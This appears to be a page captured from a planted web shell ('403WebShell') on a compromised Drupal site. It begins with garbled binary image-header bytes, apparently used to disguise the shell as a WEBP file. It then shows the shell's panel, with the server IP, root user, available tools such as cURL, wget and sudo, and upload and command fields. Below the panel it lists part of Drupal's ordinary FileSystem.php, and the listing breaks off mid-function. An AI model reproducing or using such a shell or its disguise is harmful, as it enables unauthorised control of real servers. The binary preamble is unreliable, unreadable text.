RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/lib/Drupal/Core/File/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/lib/Drupal/Core/File/FileSystem.php
<?php

namespace Drupal\Core\File;

use Drupal\Component\FileSystem\FileSystem as FileSystemComponent;
use Drupal\Component\Utility\Unicode;
use Drupal\Core\File\Exception\DirectoryNotReadyException;
use Drupal\Core\File\Exception\FileException;
use Drupal\Core\File\Exception\FileExistsException;
use Drupal\Core\File\Exception\FileNotExistsException;
use Drupal\Core\File\Exception\FileWriteException;
use Drupal\Core\File\Exception\NotRegularDirectoryException;
use Drupal\Core\File\Exception\NotRegularFileException;
use Drupal\Core\Site\Settings;
use Drupal\Core\StreamWrapper\PublicStream;
use Drupal\Core\StreamWrapper\StreamWrapperManager;
use Drupal\Core\StreamWrapper\StreamWrapperManagerInterface;
use Psr\Log\LoggerInterface;

/**
 * Provides helpers to operate on files and stream wrappers.
 */
class FileSystem implements FileSystemInterface {

  /**
   * Default mode for new directories. See self::chmod().
   */
  const CHMOD_DIRECTORY = 0775;

  /**
   * Default mode for new files. See self::chmod().
   */
  const CHMOD_FILE = 0664;

  /**
   * The site settings.
   *
   * @var \Drupal\Core\Site\Settings
   */
  protected $settings;

  /**
   * The file logger channel.
   *
   * @var \Psr\Log\LoggerInterface
   */
  protected $logger;

  /**
   * The stream wrapper manager.
   *
   * @var \Drupal\Core\StreamWrapper\StreamWrapperManagerInterface
   */
  protected $streamWrapperManager;

  /**
   * Constructs a new FileSystem.
   *
   * @param \Drupal\Core\StreamWrapper\StreamWrapperManagerInterface $stream_wrapper_manager
   *   The stream wrapper manager.
   * @param \Drupal\Core\Site\Settings $settings
   *   The site settings.
   * @param \Psr\Log\LoggerInterface $logger
   *   The file logger channel.
   */
  public function __construct(StreamWrapperManagerInterface $stream_wrapper_manager, Settings $settings, LoggerInterface $logger) {
    $this->streamWrapperManager = $stream_wrapper_manager;
    $this->settings = $settings;
    $this->logger = $logger;
  }

  /**
   * {@inheritdoc}
   */
  public function moveUploadedFile($filename, $uri) {
    $result = @move_uploaded_file($filename, $uri);
    // PHP's move_uploaded_file() does not properly support streams if
    // open_basedir is enabled so if the move failed, try finding a real path
    // and retry the move operation.
    if (!$result) {
      if ($realpath = $this->realpath($uri)) {
        $result = move_uploaded_file($filename, $realpath);
      }
      else {
        $result = move_uploaded_file($filename, $uri);
      }
    }

    return $result;
  }

  /**
   * {@inheritdoc}
   */
  public function chmod($uri, $mode = NULL) {
    if (!isset($mode)) {
      if (is_dir($uri)) {
        $mode = $this->settings->get('file_chmod_directory', static::CHMOD_DIRECTORY);
      }
      else {
        $mode = $this->settings->get('file_chmod_file', static::CHMOD_FILE);
      }
    }

    if (@chmod($uri, $mode)) {
      return TRUE;
    }

    $this->logger->error('The file permissions could not be set on %uri.', ['%uri' => $uri]);
    return FALSE;
  }

  /**
   * {@inheritdoc}
   */
  public function unlink($uri, $context = NULL) {
    if (!$this->streamWrapperManager->isValidUri($uri) && (substr(PHP_OS, 0, 3) == 'WIN')) {
      chmod($uri, 0600);
    }
    if ($context) {
      return unlink($uri, $context);
    }
    else {
      return unlink($uri);
    }
  }

  /**
   * {@inheritdoc}
   */
  public function realpath($uri) {
    // If this URI is a stream, pass it off to the appropriate stream wrapper.
    // Otherwise, attempt PHP's realpath. This allows use of this method even
    // for unmanaged files outside of the stream wrapper interface.
    if ($wrapper = $this->streamWrapperManager->getViaUri($uri)) {
      return $wrapper->realpath();
    }

    return realpath($uri);
  }

  /**
   * {@inheritdoc}
   */
  public function dirname($uri) {
    $scheme = StreamWrapperManager::getScheme($uri);

    if ($this->streamWrapperManager->isValidScheme($scheme)) {
      return $this->streamWrapperManager->getViaScheme($scheme)->dirname($uri);
    }
    else {
      return dirname($uri);
    }
  }

  /**
   * {@inheritdoc}
   */
  public function basename($uri, $suffix = NULL) {
    $separators = '/';
    if (DIRECTORY_SEPARATOR != '/') {
      // For Windows OS add special separator.
      $separators .= DIRECTORY_SEPARATOR;
    }
    // Remove right-most slashes when $uri points to directory.
    $uri = rtrim($uri, $separators);
    // Returns the trailing part of the $uri starting after one of the directory
    // separators.
    $filename = preg_match('@[^' . preg_quote($separators, '@') . ']+$@', $uri, $matches) ? $matches[0] : '';
    // Cuts off a suffix from the filename.
    if ($suffix) {
      $filename = preg_replace('@' . preg_quote($suffix, '@') . '$@', '', $filename);
    }
    return $filename;
  }

  /**
   * {@inheritdoc}
   */
  public function mkdir($uri, $mode = NULL, $recursive = FALSE, $context = NULL) {
    if (!isset($mode)) {
      $mode = $this->settings->get('file_chmod_directory', static::CHMOD_DIRECTORY);
    }

    // If the URI has a scheme, don't override the umask - schemes can handle
    // this issue in their own implementation.
    if (StreamWrapperManager::getScheme($uri)) {
      return $this->mkdirCall($uri, $mode, $recursive, $context);
    }

    // If recursive, create each missing component of the parent directory
    // individually and set the mode explicitly to override the umask.
    if ($recursive) {
      // Ensure the path is using DIRECTORY_SEPARATOR, and trim off any trailing
      // slashes because they can throw off the loop when creating the parent
      // directories.
      $uri = rtrim(str_replace('/', DIRECTORY_SEPARATOR, $uri), DIRECTORY_SEPARATOR);
      // Determine the components of the path.
      $components = explode(DIRECTORY_SEPARATOR, $uri);
      // If the filepath is absolute the first component will be empty as there
      // will be nothing before the first slash.
      if ($components[0] == '') {
        $recursive_path = DIRECTORY_SEPARATOR;
        // Get rid of the empty first component.
        array_shift($components);
      }
      else {
        $recursive_path = '';
      }
      // Don't handle the top-level directory in this loop.
      array_pop($components);
      // Create each component if necessary.
      foreach ($components as $component) {
        $recursive_path .= $component;

        if (!file_exists($recursive_path)) {
          $success = $this->mkdirCall($recursive_path, $mode, FALSE, $context);
          // If the operation failed, check again if the directory was created
          // by another process/server, only report a failure if not.
          if (!$success && !file_exists($recursive_path)) {
            return FALSE;
          }
          // Not necessary to use self::chmod() as there is no scheme.
          if (!chmod($recursive_path, $mode)) {
            return FALSE;
          }
        }

        $recursive_path .= DIRECTORY_SEPARATOR;
      }
    }

    // Do not check if the top-level directory already exists, as this condition
    // must cause this function to fail.
    if (!$this->mkdirCall($uri, $mode, FALSE, $context)) {
      return FALSE;
    }
    // Not necessary to use self::chmod() as there is no scheme.
    return chmod($uri, $mode);
  }

  /**
   * Helper function. Ensures we don't pass a NULL as a context resource to
   * mkdir().
   *
   * @see self::mkdir()
   */
  protected function mkdirCall($uri, $mode, $recursive, $context) {
    if (is_null($context)) {
      return mkdir($uri, $mode, $recursive);
    }
    else {
      return mkdir($uri, $mode, $recursive, $context);
    }
  }

  /**
   * {@inheritdoc}
   */
  public function rmdir($uri, $context = NULL) {
    if (!$this->streamWrapperManager->isValidUri($uri) && (substr(PHP_OS, 0, 3) == 'WIN')) {
      chmod($uri, 0700);
    }
    if ($context) {
      return rmdir($uri, $context);
    }
    else {
      return rmdir($uri);
    }
  }

  /**
   * {@inheritdoc}
   */
  public function tempnam($directory, $prefix) {
    $scheme = StreamWrapperManager::getScheme($directory);

    if ($this->streamWrapperManager->isValidScheme($scheme)) {
      $wrapper = $this->streamWrapperManager->getViaScheme($scheme);

      if ($filename = tempnam($wrapper->getDirectoryPath(), $prefix)) {
        return $scheme . '://' . static::basename($filename);
      }
      else {
        return FALSE;
      }
    }
    else {
      // Handle as a normal tempnam() call.
      return tempnam($directory, $prefix);
    }
  }

  /**
   * {@inheritdoc}
   */
  public function copy($source, $destination, $replace = self::EXISTS_RENAME) {
    $this->prepareDestination($source, $destination, $replace);

    if (!@copy($source, $destination)) {
      // If the copy failed and realpaths exist, retry the operation using them
      // instead.
      $real_source = $this->realpath($source) ?: $source;
      $real_destination = $this->realpath($destination) ?: $destination;
      if ($real_source === FALSE || $real_destination === FALSE || !@copy($real_source, $real_destination)) {
        $this->logger->error("The specified file '%source' could not be copied to '%destination'.", [
          '%source' => $source,
          '%destination' => $destination,
        ]);
        throw new FileWriteException("The specified file '$source' could not be copied to '$destination'.");
      }
    }

    // Set the permissions on the new file.
    $this->chmod($destination);

    return $destination;
  }

  /**
   * {@inheritdoc}
   */
  public function delete($path) {
    if (is_file($path)) {
      if (!$this->unlink($path)) {
        $this->logger->error("Failed to unlink file '%path'.", ['%path' => $path]);
        throw new FileException("Failed to unlink file '$path'.");
      }
      return TRUE;
    }

    if (is_dir($path)) {
      $this->logger->error("Cannot delete '%path' because it is a directory. Use deleteRecursive() instead.", ['%path' => $path]);
      throw new NotRegularFileException("Cannot delete '$path' because it is a directory. Use deleteRecursive() instead.");
    }

    // Return TRUE for non-existent file, but log that nothing was actually
    // deleted, as the current state is the intended result.
    if (!file_exists($path)) {
      $this->logger->notice('The file %path was not deleted because it does not exist.', ['%path' => $path]);
      return TRUE;
    }

    // We cannot handle anything other than files and directories.
    // Throw an exception for everything else (sockets, symbolic links, etc).
    $this->logger->error("The file '%path' is not of a recognized type so it was not deleted.", ['%path' => $path]);
    throw new NotRegularFileException("The file '$path' is not of a recognized type so it was not deleted.");
  }

  /**
   * {@inheritdoc}
   */
  public function deleteRecursive($path, callable $callback = NULL) {
    if ($callback) {
      call_user_func($callback, $path);
    }

    if (is_dir($path)) {
      $dir = dir($path);
      while (($entry = $dir->read()) !== FALSE) {
        if ($entry == '.' || $entry == '..') {
          continue;
        }
        $entry_path = $path . '/' . $entry;
        $this->deleteRecursive($entry_path, $callback);
      }
      $dir->close();

      return $this->rmdir($path);
    }

    return $this->delete($path);
  }

  /**
   * {@inheritdoc}
   */
  public function move($source, $destination, $replace = self::EXISTS_RENAME) {
    $this->prepareDestination($source, $destination, $replace);

    // Ensure compatibility with Windows.
    // @see \Drupal\Core\File\FileSystemInterface::unlink().
    if (!$this->streamWrapperManager->isValidUri($source) && (substr(PHP_OS, 0, 3) == 'WIN')) {
      chmod($source, 0600);
    }
    // Attempt to resolve the URIs. This is necessary in certain
    // configurations (see above) and can also permit fast moves across local
    // schemes.
    $real_source = $this->realpath($source) ?: $source;
    $real_destination = $this->realpath($destination) ?: $destination;
    // Perform the move operation.
    if (!@rename($real_source, $real_destination)) {
      // Fall back to slow copy and unlink procedure. This is necessary for
      // renames across schemes that are not local, or where rename() has not
      // been implemented. It's not necessary to use FileSystem::unlink() as the
      // Windows issue has already been resolved above.
      if (!@copy($real_source, $real_destination)) {
        $this->logger->error("The specified file '%source' could not be moved to '%destination'.", [
          '%source' => $source,
          '%destination' => $destination,
        ]);
        throw new FileWriteException("The specified file '$source' could not be moved to '$destination'.");
      }
      if (!@unlink($real_source)) {
        $this->logger->error("The source file '%source' could not be unlinked after copying to '%destination'.", [
          '%source' => $source,
          '%destination' => $destination,
        ]);
        throw new FileException("The source file '$source' could not be unlinked after copying to '$destination'.");
      }
    }

    // Set the permissions on the new file.
    $this->chmod($destination);

    return $destination;
  }

  /**
   * Prepares the destination for a file copy or move operation.
   *
   * - Checks if $source and $destination are valid and readable/writable.
   * - Checks that $source is not equal to $destination; if they are an error
   *   is reported.
   * - If file already exists in $destination either the call will error out,
   *   replace the file or rename the file based on the $replace parameter.
   *
   * @param string $source
   *   A string specifying the filepath or URI of the source file.
   * @param string|null $destination
   *   A URI containing the destination that $source should be moved/copied to.
   *   The URI may be a bare filepath (without a scheme) and in that case the
   *   default scheme (file://) will be used.
   * @param int $replace
   *   Replace behavior when the destination file already exists:
   *   - FileSystemInterface::EXISTS_REPLACE - Replace the existing file.
   *   - FileSystemInterface::EXISTS_RENAME - Append _{incrementing number}
   *     until the filename is unique.
   *   - FileSystemInterface::EXISTS_ERROR - Do nothing and return FALSE.
   *
   * @see \Drupal\Core\File\FileSystemInterface::copy()
   * @see \Drupal\Core\File\FileSystemInterface::move()
   */
  protected function prepareDestination($source, &$destination, $replace) {
    $original_source = $source;

    if (!file_exists($source)) {
      if (($realpath = $this->realpath($original_source)) !== FALSE) {
        $this->logger->error("File '%original_source' ('%realpath') could not be copied because it does not exist.", [
          '%original_source' => $original_source,
          '%realpath' => $realpath,
        ]);
        throw new FileNotExistsException("File '$original_source' ('$realpath') could not be copied because it does not exist.");
      }
      else {
        $this->logger->error("File '%original_source' could not be copied because it does not exist.", [
          '%original_source' => $original_source,
        ]);
        throw new FileNotExistsException("File '$original_source' could not be copied because it does not exist.");
      }
    }

    // Prepare the destination directory.
    if ($this->prepareDirectory($destination)) {
      // The destination is already a directory, so append the source basename.
      $destination = $this->streamWrapperManager->normalizeUri($destination . '/' . $this->basename($source));
    }
    else {
      // Perhaps $destination is a dir/file?
      $dirname = $this->dirname($destination);
      if (!$this->prepareDirectory($dirname)) {
        $this->logger->error("The specified file '%original_source' could not be copied because the destination directory '%destination_directory' is not properly configured. This may be caused by a problem with file or directory permissions.", [
          '%original_source' => $original_source,
          '%destination_directory' => $dirname,
        ]);
        throw new DirectoryNotReadyException("The specified file '$original_source' could not be copied because the destination directory '$dirname' is not properly configured. This may be caused by a problem with file or directory permissions.");
      }
    }

    // Determine whether we can perform this operation based on overwrite rules.
    $destination = $this->getDestinationFilename($destination, $replace);
    if ($destination === FALSE) {
      $this->logger->error("File '%original_source' could not be copied because a file by that name already exists in the destination directory ('%destination').", [
        '%original_source' => $original_source,
        '%destination' => $destination,
      ]);
      throw new FileExistsException("File '$original_source' could not be copied because a file by that name already exists in the destination directory ('$destination').");
    }

    // Assert that the source and destination filenames are not the same.
    $real_source = $this->realpath($source);
    $real_destination = $this->realpath($destination);
    if ($source == $destination || ($real_source !== FALSE) && ($real_source == $real_destination)) {
      $this->logger->error("File '%source' could not be copied because it would overwrite itself.", [
        '%source' => $source,
      ]);
      throw new FileException("File '$source' could not be copied because it would overwrite itself.");
    }
  }

  /**
   * {@inheritdoc}
   */
  public function saveData($data, $destination, $replace = self::EXISTS_RENAME) {
    // Write the data to a temporary file.
    $temp_name = $this->tempnam('temporary://', 'file');
    if (file_put_contents($temp_name, $data) === FALSE) {
      $this->logger->error("Temporary file '%temp_name' could not be created.", ['%temp_name' => $temp_name]);
      throw new FileWriteException("Temporary file '$temp_name' could not be created.");
    }

    // Move the file to its final destination.
    return $this->move($temp_name, $destination, $replace);
  }

  /**
   * {@inheritdoc}
   */
  public function prepareDirectory(&$directory, $options = self::MODIFY_PERMISSIONS) {
    if (!$this->streamWrapperManager->isValidUri($directory)) {
